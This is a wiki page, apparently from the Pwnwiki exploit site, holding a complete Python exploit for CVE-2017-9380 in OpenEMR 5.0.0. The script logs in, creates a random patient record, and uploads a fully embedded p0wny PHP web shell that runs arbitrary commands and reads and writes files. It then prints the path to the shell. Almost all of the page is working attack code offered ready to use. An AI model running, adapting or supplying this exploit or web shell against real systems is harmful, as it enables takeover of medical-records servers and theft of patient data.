Pwnwiki: Created page with "==EXP==

 # Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated) # Date 10.06.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://www..."

2021-06-11T09:40:28Z

Created page with "==EXP== <pre> # Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated) # Date 10.06.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://www..."

New page

==EXP==
<pre>
# Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated)
# Date 10.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.0/openemr-5.0.0.zip/download
# Version: 5.0.0
# Tested on: Windows 10
# CVE: CVE-2017-9380
# Documentation: https://github.com/Hacker5preme/Exploits#cve-2017-9380-exploit

'''
Description:
The OpenEMR application allows users from all roles to upload files. However, the application does not whitelist only
certain type of files (e.g. PDF, JPG, PNG, DOCX, etc). At the contary, any type of files can be uploaded to the
filesystem via the application. While OpenEMR recommends during the installation to restrict access to the repository
hosting uploaded files, unfortunately, such recommendations are too often ignored by users and can result in full
compromise of the web server and its data.
'''

'''
Import required modules:
'''
import argparse
import requests
import string
import random

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Exploit for CVE-2017-9380')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.PATH
username = args.USERNAME
password = args.PASSWORD

'''
Exploit:
'''
# Authentication preparation:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'
auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'
response = session.get(auth_chek_url)

# Header (auth):
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': auth_chek_url,
'Upgrade-Insecure-Requests': '1',
}

# Body (auth):
body = {
'new_login_session_management': '1',
'authProvider': 'Default',
'authUser': username,
'clearPass': password,
'languageChoice': '1'
}

# Authenticate:
print('')
print('[+] Authentication')
auth = session.post(auth_url,headers=header, data=body)

# Create random patient name:
letters_up = string.ascii_uppercase
letters_down = string.ascii_lowercase
first_name = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(10))
surname = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(7))
print('')
print('[+] Creating patient name randomly:')
print(' [*] First Name: ' + first_name)
print(' [*] Surname: ' + surname)

# Registration preparation:
url_reg = 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new_comprehensive_save.php'

# Header (registration):
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new.php',
'Upgrade-Insecure-Requests': '1'
}
body = {
'form_cb_1': '1',
'form_title': 'Mr.',
'form_fname': first_name,
'form_mname': '',
'form_lname': surname,
'form_pubpid': '',
'form_DOB': '2021-05-04',
'form_sex': 'Male',
'form_ss': '',
'form_drivers_license': '',
'form_status': '',
'form_genericname1': '',
'form_genericval1': '',
'form_genericname2': '',
'form_genericval2': '',
'form_billing_note': '',
'form_street': '',
'form_city': '',
'form_state': '',
'form_postal_code': '',
'form_county': '',
'form_country_code': '',
'form_mothersname': '',
'form_contact_relationship': '',
'form_phone_contact': '',
'form_phone_home': '',
'form_phone_biz': '',
'form_phone_cell': '',
'form_email': '',
'form_email_direct': '',
'form_providerID': '',
'form_ref_providerID': '',
'form_pharmacy_id': '0',
'form_hipaa_notice': '',
'form_hipaa_voice': '',
'form_hipaa_message': '',
'form_hipaa_mail': '',
'form_hipaa_allowsms': '',
'form_hipaa_allowemail': '',
'form_allow_imm_reg_use': '',
'form_allow_imm_info_share': '',
'form_allow_health_info_ex': '',
'form_allow_patient_portal': '',
'form_care_team': '',
'form_cmsportal_login': '',
'form_imm_reg_status': '',
'form_imm_reg_stat_effdate': '',
'form_publicity_code': '',
'form_publ_code_eff_date': '',
'form_protect_indicator': '',
'form_prot_indi_effdate': '',
'form_industry': '',
'form_occupation': '',
'form_em_name': '',
'form_em_street': '',
'form_em_city': '',
'form_em_state': '',
'form_em_postal_code': '',
'form_em_country': '',
'form_language': '',
'form_ethnicity': '',
'form_family_size': '',
'form_financial_review': '',
'form_monthly_income': '',
'form_homeless': '',
'form_interpretter': '',
'form_migrantseasonal': '',
'form_referral_source': '',
'form_vfc': '',
'form_religion': '',
'form_deceased_date': '',
'form_deceased_reason': '',
'form_guardiansname': '',
'form_guardianrelationship': '',
'form_guardiansex': '',
'form_guardianaddress': '',
'form_guardiancity': '',
'form_guardianstate': '',
'form_guardianpostalcode': '',
'form_guardiancountry': '',
'form_guardianphone': '',
'form_guardianworkphone': '',
'form_guardianemail': '',
'i1provider': '',
'i1plan_name': '',
'i1effective_date': '',
'i1policy_number': '',
'i1group_number': '',
'i1subscriber_employer': '',
'i1subscriber_employer_street': '',
'i1subscriber_employer_city': '',
'form_i1subscriber_employer_state': '',
'i1subscriber_employer_postal_code': '',
'form_i1subscriber_employer_country': '',
'i1subscriber_fname': '',
'i1subscriber_mname': '',
'i1subscriber_lname': '',
'form_i1subscriber_relationship': '',
'i1subscriber_DOB': '',
'i1subscriber_ss': '',
'form_i1subscriber_sex': '',
'i1subscriber_street': '',
'i1subscriber_city': '',
'form_i1subscriber_state': '',
'i1subscriber_postal_code': '',
'form_i1subscriber_country': '',
'i1subscriber_phone': '',
'i1copay': '',
'i1accept_assignment': 'TRUE',
'i2provider': '',
'i2plan_name': '',
'i2effective_date': '',
'i2policy_number': '',
'i2group_number': '',
'i2subscriber_employer': '',
'i2subscriber_employer_street': '',
'i2subscriber_employer_city': '',
'form_i2subscriber_employer_state': '',
'i2subscriber_employer_postal_code': '',
'form_i2subscriber_employer_country': '',
'i2subscriber_fname': '',
'i2subscriber_mname': '',
'i2subscriber_lname': '',
'form_i2subscriber_relationship': '',
'i2subscriber_DOB': '',
'i2subscriber_ss': '',
'form_i2subscriber_sex': '',
'i2subscriber_street': '',
'i2subscriber_city': '',
'form_i2subscriber_state': '',
'i2subscriber_postal_code': '',
'form_i2subscriber_country': '',
'i2subscriber_phone': '',
'i2copay': '',
'i2accept_assignment': 'TRUE',
'i3provider': '',
'i3plan_name': '',
'i3effective_date': '',
'i3policy_number': '',
'i3group_number': '',
'i3subscriber_employer': '',
'i3subscriber_employer_street': '',
'i3subscriber_employer_city': '',
'form_i3subscriber_employer_state': '',
'i3subscriber_employer_postal_code': '',
'form_i3subscriber_employer_country': '',
'i3subscriber_fname': '',
'i3subscriber_mname': '',
'i3subscriber_lname': '',
'form_i3subscriber_relationship': '',
'i3subscriber_DOB': '',
'i3subscriber_ss': '',
'form_i3subscriber_sex': '',
'i3subscriber_street': '',
'i3subscriber_city': '',
'form_i3subscriber_state': '',
'i3subscriber_postal_code': '',
'form_i3subscriber_country': '',
'i3subscriber_phone': '',
'i3copay': '',
'i3accept_assignment': 'TRUE'}

print('')
print('[+] Registering patient:')
x = session.post(url_reg, headers=header, data=body).text

# Get Patient-ID:
id = x[(x.find('pid=')+4):x.find('&')]
print(' [*] ID-NUMBER: ' + id)

# Construct upload URL:
url_upload = 'http://' + target_ip + ':' + target_port + openemr_path + '/controller.php?document&upload&patient_id=' + id + '&parent_id=1&"'

# Header (upload):
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------370797319835249590062969815666",
"Origin": 'http://' + target_ip,
"Connection": "close",
"Referer": url_upload,
"Upgrade-Insecure-Requests": "1"
}

# Body (shell); I'm using p0wny shell: https://github.com/flozz/p0wny-shell
body = "-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n64000000\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"file[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n flex-direction: column;\n align-items: stretch;\n }\n\n #shell-content {\n height: 500px;\n overflow: auto;\n padding: 5px;\n white-space: pre-wrap;\n flex-grow: 1;\n }\n\n #shell-logo {\n font-weight: bold;\n color: #FF4180;\n text-align: center;\n }\n\n @media (max-width: 991px) {\n #shell-logo {\n font-size: 6px;\n margin: -25px 0;\n }\n\n html, body, #shell {\n height: 100%;\n width: 100%;\n max-width: none;\n }\n\n #shell {\n margin-top: 0;\n }\n }\n\n @media (max-width: 767px) {\n #shell-input {\n flex-direction: column;\n }\n }\n\n @media (max-width: 320px) {\n #shell-logo {\n font-size: 5px;\n }\n }\n\n .shell-prompt {\n font-weight: bold;\n color: #75DF0B;\n }\n\n .shell-prompt > span {\n color: #1BC9E7;\n }\n\n #shell-input {\n display: flex;\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n border-top: rgba(255, 255, 255, .05) solid 1px;\n }\n\n #shell-input > label {\n flex-grow: 0;\n display: block;\n padding: 0 5px;\n height: 30px;\n line-height: 30px;\n }\n\n #shell-input #shell-cmd {\n height: 30px;\n line-height: 30px;\n border: none;\n background: transparent;\n color: #eee;\n font-family: monospace;\n font-size: 10pt;\n width: 100%;\n align-self: center;\n }\n\n #shell-input div {\n flex-grow: 1;\n align-items: stretch;\n }\n\n #shell-input input {\n outline: none;\n }\n </style>\n\n <script>\n var CWD = null;\n var commandHistory = [];\n var historyPosition = 0;\n var eShellCmdInput = null;\n var eShellContent = null;\n\n function _insertCommand(command) {\n eShellContent.innerHTML += \"\\n\\n\";\n eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n eShellContent.innerHTML += escapeHtml(command);\n eShellContent.innerHTML += \"\\n\";\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _insertStdout(stdout) {\n eShellContent.innerHTML += escapeHtml(stdout);\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _defer(callback) {\n setTimeout(callback, 0);\n }\n\n function featureShell(command) {\n\n _insertCommand(command);\n if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n } else if (/^\\s*clear\\s*$/.test(command)) {\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n eShellContent.innerHTML = '';\n } else {\n makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n if (response.hasOwnProperty('file')) {\n featureDownload(response.name, response.file)\n } else {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n }\n });\n }\n }\n\n function featureHint() {\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\n\n function _requestCallback(data) {\n if (data.files.length <= 1) return; // no completion\n\n if (data.files.length === 2) {\n if (type === 'cmd') {\n eShellCmdInput.value = data.files[0];\n } else {\n var currentValue = eShellCmdInput.value;\n eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n }\n } else {\n _insertCommand(eShellCmdInput.value);\n _insertStdout(data.files.join(\"\\n\"));\n }\n }\n\n var currentCmd = eShellCmdInput.value.split(\" \");\n var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n makeRequest(\n \"?feature=hint\",\n {\n filename: fileName,\n cwd: CWD,\n type: type\n },\n _requestCallback\n );\n\n }\n\n function featureDownload(name, file) {\n var element = document.createElement('a');\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n element.setAttribute('download', name);\n element.style.display = 'none';\n document.body.appendChild(element);\n element.click();\n document.body.removeChild(element);\n _insertStdout('Done.');\n }\n\n function featureUpload(path) {\n var element = document.createElement('input');\n element.setAttribute('type', 'file');\n element.style.display = 'none';\n document.body.appendChild(element);\n element.addEventListener('change', function () {\n var promise = getBase64(element.files[0]);\n promise.then(function (file) {\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n });\n }, function () {\n _insertStdout('An unknown client-side error occurred.');\n });\n });\n element.click();\n document.body.removeChild(element);\n }\n\n function getBase64(file, onLoadCallback) {\n return new Promise(function(resolve, reject) {\n var reader = new FileReader();\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n reader.onerror = reject;\n reader.readAsDataURL(file);\n });\n }\n\n function genPrompt(cwd) {\n cwd = cwd || \"~\";\n var shortCwd = cwd;\n if (cwd.split(\"/\").length > 3) {\n var splittedCwd = cwd.split(\"/\");\n shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n }\n return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n }\n\n function updateCwd(cwd) {\n if (cwd) {\n CWD = cwd;\n _updatePrompt();\n return;\n }\n makeRequest(\"?feature=pwd\", {}, function(response) {\n CWD = response.cwd;\n _updatePrompt();\n });\n\n }\n\n function escapeHtml(string) {\n return string\n .replace(/&/g, \"&\")\n .replace(/</g, \"<\")\n .replace(/>/g, \">\");\n }\n\n function _updatePrompt() {\n var eShellPrompt = document.getElementById(\"shell-prompt\");\n eShellPrompt.innerHTML = genPrompt(CWD);\n }\n\n function _onShellCmdKeyDown(event) {\n switch (event.key) {\n case \"Enter\":\n featureShell(eShellCmdInput.value);\n insertToHistory(eShellCmdInput.value);\n eShellCmdInput.value = \"\";\n break;\n case \"ArrowUp\":\n if (historyPosition > 0) {\n historyPosition--;\n eShellCmdInput.blur();\n eShellCmdInput.value = commandHistory[historyPosition];\n _defer(function() {\n eShellCmdInput.focus();\n });\n }\n break;\n case \"ArrowDown\":\n if (historyPosition >= commandHistory.length) {\n break;\n }\n historyPosition++;\n if (historyPosition === commandHistory.length) {\n eShellCmdInput.value = \"\";\n } else {\n eShellCmdInput.blur();\n eShellCmdInput.focus();\n eShellCmdInput.value = commandHistory[historyPosition];\n }\n break;\n case 'Tab':\n event.preventDefault();\n featureHint();\n break;\n }\n }\n\n function insertToHistory(cmd) {\n commandHistory.push(cmd);\n historyPosition = commandHistory.length;\n }\n\n function makeRequest(url, params, callback) {\n function getQueryString() {\n var a = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n }\n }\n return a.join(\"&\");\n }\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4 && xhr.status === 200) {\n try {\n var responseJson = JSON.parse(xhr.responseText);\n callback(responseJson);\n } catch (error) {\n alert(\"Error while parsing response: \" + error);\n }\n }\n };\n xhr.send(getQueryString());\n }\n\n document.onclick = function(event) {\n event = event || window.event;\n var selection = window.getSelection();\n var target = event.target || event.srcElement;\n\n if (target.tagName === \"SELECT\") {\n return;\n }\n\n if (!selection.toString()) {\n eShellCmdInput.focus();\n }\n };\n\n window.onload = function() {\n eShellCmdInput = document.getElementById(\"shell-cmd\");\n eShellContent = document.getElementById(\"shell-content\");\n updateCwd();\n eShellCmdInput.focus();\n };\n </script>\n </head>\n\n <body>\n <div id=\"shell\">\n <pre id=\"shell-content\">\n <div id=\"shell-logo\">\n ___ ____ _ _ _ _ _ <span></span>\n _ __ / _ \\__ ___ __ _ _ / __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_ .. _|<span></span>\n| |_) | |_| |\\ V V /| | | | |_| | | (_| \\__ \\ | | | __/ | |_ |_ _|<span></span>\n| .__/ \\___/ \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_) |_||_| <span></span>\n|_| |___/ \\____/ <span></span>\n </div>\n </pre>\n <div id=\"shell-input\">\n <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n <div>\n <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n </div>\n </div>\n </div>\n </body>\n\n</html>\n\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"destination\"\r\n\r\n\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"patient_id\"\r\n\r\n4\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"category_id\"\r\n\r\n4\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"process\"\r\n\r\ntrue\r\n-----------------------------370797319835249590062969815666--\r\n"

# Exploit
x = session.post(url_upload, headers=header,data=body).text
print('')
print('[+] Uploading your Webshell')
b = x[x.find('documents/') + 10:]
c = b[:b.find('<')]
webshellpath = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/documents/' + c
print(' [*] Webshell: ' + webshellpath)
print('')

</pre>

CVE-2017-9380 OpenEMR 5.0.0遠程代碼執行漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
# Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated) # Date 10.06.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://www..."